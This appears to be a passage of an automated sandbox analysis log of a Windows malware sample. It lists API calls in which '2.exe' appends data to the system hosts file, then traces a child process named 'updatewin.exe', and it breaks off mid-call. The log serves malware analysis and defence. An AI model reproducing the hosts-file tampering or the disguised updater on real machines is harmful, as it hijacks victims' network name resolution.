!\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ") returned 256 [0059.766] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0059.766] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ", cchSrc=256, lpDestStr=0x2cef18, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȈ") returned 256 [0059.766] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȈ", cchWideChar=256, lpMultiByteStr=0x2cf7d4, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xf7\xd8\xd9\xda\xdb\xdc\xdd\xde\x9f\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x4a\xf1\x7b\x5f\x10\xfb\x2c", lpUsedDefaultChar=0x0) returned 256 [0059.766] GetModuleFileNameW (in: hModule=0x0, lpFilename=0xd07ca8, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\ac0fced0-d42a-4728-a9f2-bdfd4590c238\\2.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\ac0fced0-d42a-4728-a9f2-bdfd4590c238\\2.exe")) returned 0x56 [0059.766] RtlInitializeSListHead (in: ListHead=0xd07bc8 | out: ListHead=0xd07bc8) [0059.766] GetLastError () returned 0x0 [0059.766] SetLastError (dwErrCode=0x0) [0059.766] GetEnvironmentStringsW () returned 0x5062f0* [0059.767] FreeEnvironmentStringsW (penv=0x5062f0) returned 1 [0059.767] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0059.768] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xcf2b17) returned 0x0 [0059.768] GetStartupInfoW (in: lpStartupInfo=0x2cfb40 | out: lpStartupInfo=0x2cfb40*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\ac0fced0-d42a-4728-a9f2-bdfd4590c238\\2.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0059.772] SHGetFolderPathW (in: hwnd=0x0, csidl=36, hToken=0x0, dwFlags=0x0, pszPath=0x2cf360 | out: pszPath="C:\\Windows") returned 0x0 [0059.775] PathAppendW (in: pszPath="C:\\Windows", pMore="System32\\drivers\\etc\\hosts" | out: pszPath="C:\\Windows\\System32\\drivers\\etc\\hosts") returned 1 [0059.776] CreateFileW (lpFileName="C:\\Windows\\System32\\drivers\\etc\\hosts" (normalized: "c:\\windows\\system32\\drivers\\etc\\hosts"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x98 [0059.776] GetFileSize (in: hFile=0x98, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x338 [0059.776] SetFilePointer (in: hFile=0x98, lDistanceToMove=824, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x338 [0059.776] WriteFile (in: hFile=0x98, lpBuffer=0x50c060*, nNumberOfBytesToWrite=0x1c76, lpNumberOfBytesWritten=0x2cf320, lpOverlapped=0x0 | out: lpBuffer=0x50c060*, lpNumberOfBytesWritten=0x2cf320*=0x1c76, lpOverlapped=0x0) returned 1 [0059.777] CloseHandle (hObject=0x98) returned 1 [0059.782] GetModuleHandleW (lpModuleName=0x0) returned 0xcf0000 [0059.782] GetModuleHandleW (lpModuleName=0x0) returned 0xcf0000 [0059.782] LoadLibraryExW (lpLibFileName="api-ms-win-appmodel-runtime-l1-1-2", hFile=0x0, dwFlags=0x800) returned 0x0 [0059.782] GetLastError () returned 0x57 [0059.782] GetModuleHandleExW (in: dwFlags=0x0, lpModuleName="mscoree.dll", phModule=0x2cfb34 | out: phModule=0x2cfb34) returned 0 [0059.782] ExitProcess (uExitCode=0x0) Process: id = "12" image_name = "updatewin.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\ac0fced0-d42a-4728-a9f2-bdfd4590c238\\updatewin.exe" page_root = "0x20ccd000" os_pid = "0xa14" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "4" os_parent_pid = "0x904" cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\ac0fced0-d42a-4728-a9f2-bdfd4590c238\\updatewin.exe\" " cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ea88" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 1012 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 1013 start_va = 0x30000 end_va = 0x31fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 1014 start_va = 0x40000 end_va = 0x40fff entry_point = 0x40000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 1015 start_va = 0x50000 end_va = 0x53fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 1016 start_va = 0x60000 end_va = 0x61fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 1017 start_va = 0x170000 end_va = 0x1affff entry_point = 0x0 region_type = private name = "private_0x0000000000170000" filename = "" Region: id = 1018 start_va = 0x220000 end_va = 0x31ffff entry_point = 0x0 region_type = private name = "private_0x0000000000220000" filename = "" Region: id = 1019 start_va = 0x10d0000 end_va = 0x10f2fff entry_point = 0x10d0000 region_type = mapped_file name = "updatewin.exe" filename = "\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\ac0fced0-d42a-4728-a9f2-bdfd4590c238\\updatewin.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\ac0fced0-d42a-4728-a9f2-bdfd4590c238\\updatewin.exe") Region: id = 1020 start_va = 0x77670000 end_va = 0x77818fff entry_point = 0x77670000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 1021 start_va = 0x77850000 end_va = 0x779cffff entry_point = 0x77850000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 1022 start_va = 0x7efb0000 end_va = 0x7efd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 1023 start_va = 0x7efdb000 end_va = 0x7efddfff entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 1024 start_va = 0x7efde000 end_va = 0x7efdefff entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 1025 start_va = 0x7efdf000 end_va = 0x7efdffff entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 1026 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 1027 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 1028 start_va = 0x7fff0000 end_va = 0x7fffffeffff entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 1029 start_va = 0x70000 end_va = 0xeffff entry_point = 0x0 region_type = private name = "private_0x0000000000070000" filename = "" Region: id = 1030 start_va = 0x74d90000 end_va = 0x74d97fff entry_point = 0x74d90000 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 1031 start_va = 0x74da0000 end_va = 0x74dfbfff entry_point = 0x74da0000 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 1032 start_va = 0x74e00000 end_va = 0x74e3efff entry_point = 0x74e00000 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 1033 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 1034 start_va = 0x20000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 1035 start_va = 0xf0000 end_va = 0x156fff entry_point = 0xf0000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 1036 start_va = 0x320000 end_va = 0x41ffff entry_point = 0x0 region_type = private name = "private_0x0000000000320000" filename = "" Region: id = 1037 start_va = 0x74ec0000 end_va = 0x7505dfff entry_point = 0x74ec0000 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll") Region: id = 1038 start_va = 0x75210000 end_va = 0x75241fff entry_point = 0x75210000 region_type = mapped_file name = "winmm.dll" filename = "\\Windows\\SysWOW64\\winmm.dll" (normalized: "c:\\windows\\syswow64\\winmm.dll") Region: id = 1039 start_va = 0x753a0000 end_va = 0x753abfff entry_point = 0x753a0000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 1040 start_va = 0x753b0000 end_va = 0x7540ffff entry_point = 0x753b0000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 1041 start_va = 0x75410000 end_va = 0x754acfff entry_point = 0x75410000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 1042 start_va = 0x756f0000 end_va = 0x757effff entry_point = 0x756f0000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 1043 start_va = 0x75a20000 end_va = 0x75b2ffff entry_point = 0x75a20000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 1044 start_va = 0x75b30000 end_va = 0x75bcffff entry_point = 0x75b30000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 1045 start_va = 0x75ce0000 end_va = 0x75d36fff entry_point = 0x75ce0000 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll") Region: id = 1046 start_va = 0x75e30000 end_va = 0x75edbfff entry_point = 0x75e30000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 1047 start_va = 0x762b0000 end_va = 0x762c8fff entry_point = 0x762b0000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 1048 start_va = 0x762d0000 end_va = 0x762d9fff entry_point = 0x762d0000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll") Region: id = 1049 start_va = 0x765f0000 end_va = 0x76635fff entry_point = 0x765f0000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 1050 start_va = 0x772d0000 end_va = 0x773bffff entry_point = 0x772d0000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 1051 start_va = 0x773c0000 end_va = 0x7744ffff entry_point = 0x773c0000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 1052 start_va = 0x77450000 end_va = 0x77549fff entry_point = 0x0 region_type = private name = "private_0x0000000077450000" filename = "" Region: id = 1053 start_va = 0x77550000 end_va = 0x7766efff entry_point = 0x0 region_type = private name = "private_0x0000000077550000" filename = "" Region: id = 1054 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 1055 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 1056 start_va = 0x420000 end_va = 0x5a7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1057 start_va = 0x75d40000 end_va = 0x75e0bfff entry_point = 0x75d40000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 1058 start_va = 0x76500000 end_va = 0x7655ffff entry_point = 0x76500000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 1059 start_va = 0x30000 end_va = 0x30fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 1060 start_va = 0x160000 end_va = 0x160fff entry_point = 0x0 region_type = private name = "private_0x0000000000160000" filename = "" Region: id = 1061 start_va = 0x1c0000 end_va = 0x1c1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001c0000" filename = "" Region: id = 1062 start_va = 0x5b0000 end_va = 0x730fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005b0000" filename = "" Region: id = 1063 start_va = 0x1100000 end_va = 0x24fffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001100000" filename = "" Region: id = 1064 start_va = 0x74d00000 end_va = 0x74d7ffff entry_point = 0x74d00000 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll") Region: id = 1065 start_va = 0x740000 end_va = 0x89ffff entry_point = 0x0 region_type = private name = "private_0x0000000000740000" filename = "" Region: id = 1073 start_va = 0x740000 end_va = 0x81efff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000740000" filename = "" Region: id = 1074 start_va = 0x860000 end_va = 0x89ffff entry_point = 0x0 region_type = private name = "private_0x0000000000860000" filename = "" Region: id = 1075 start_va = 0x74ce0000 end_va = 0x74cf2fff entry_point = 0x74ce0000 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\SysWOW64\\dwmapi.dll" (normalized: "c:\\windows\\syswow64\\dwmapi.dll") Region: id = 1076 start_va = 0x1d0000 end_va = 0x21ffff entry_point = 0x0 region_type = private name = "private_0x00000000001d0000" filename = "" Region: id = 1077 start_va = 0x8a0000 end_va = 0xb6efff entry_point = 0x8a0000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 1078 start_va = 0x1b0000 end_va = 0x1b0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 1079 start_va = 0xd00000 end_va = 0xd3ffff entry_point = 0x0 region_type = private name = "private_0x0000000000d00000" filename = "" Region: id = 1080 start_va = 0xd80000 end_va = 0xe7ffff entry_point = 0x0 region_type = private name = "private_0x0000000000d80000" filename = "" Region: id = 1081 start_va = 0x7efd8000 end_va = 0x7efdafff entry_point = 0x0 region_type = private name = "private_0x000000007efd8000" filename = "" Region: id = 1082 start_va = 0x2500000 end_va = 0x2e2ffff entry_point = 0x2500000 region_type = mapped_file name = "staticcache.dat" filename = "\\Windows\\Fonts\\StaticCache.dat" (normalized: "c:\\windows\\fonts\\staticcache.dat") Region: id = 1083 start_va = 0x75540000 end_va = 0x7569bfff entry_point = 0x75540000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll") Region: id = 1084 start_va = 0x1d0000 end_va = 0x1d1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001d0000" filename = "" Region: id = 1085 start_va = 0x1e0000 end_va = 0x21ffff entry_point = 0x0 region_type = private name = "private_0x00000000001e0000" filename = "" Region: id = 1086 start_va = 0x1d0000 end_va = 0x1d6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001d0000" filename = "" Region: id = 1087 start_va = 0x820000 end_va = 0x821fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000820000" filename = "" Region: id = 1088 start_va = 0x830000 end_va = 0x830fff entry_point = 0x830000 region_type = mapped_file name = "msctf.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\msctf.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\msctf.dll.mui") Region: id = 1089 start_va = 0x840000 end_va = 0x841fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000840000" filename = "" Region: id = 1090 start_va = 0xb70000 end_va = 0xbeffff entry_point = 0x0 region_type = private name = "private_0x0000000000b70000" filename = "" Region: id = 1107 start_va = 0x840000 end_va = 0x840fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000840000" filename = "" Region: id = 1108 start_va = 0x754b0000 end_va = 0x75532fff entry_point = 0x754b0000 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\SysWOW64\\clbcatq.dll" (normalized: "c:\\windows\\syswow64\\clbcatq.dll") Region: id = 1109 start_va = 0x75f60000 end_va = 0x75feefff entry_point = 0x75f60000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll") Region: id = 1110 start_va = 0x850000 end_va = 0x850fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000850000" filename = "" Thread: id = 53 os_tid = 0xa18 [0060.334] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x31facc | out: lpSystemTimeAsFileTime=0x31facc*(dwLowDateTime=0xa5f7e350, dwHighDateTime=0x1d4800f)) [0060.334] GetCurrentThreadId () returned 0xa18 [0060.334] GetCurrentProcessId () returned 0xa14 [0060.334] QueryPerformanceCounter (in: lpPerformanceCount=0x31fac4 | out: lpPerformanceCount=0x31fac4*=1812453000000) returned 1 [0060.335] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0060.335] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x800) returned 0x0 [0060.335] GetLastError () returned 0x57 [0060.335] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x800) returned 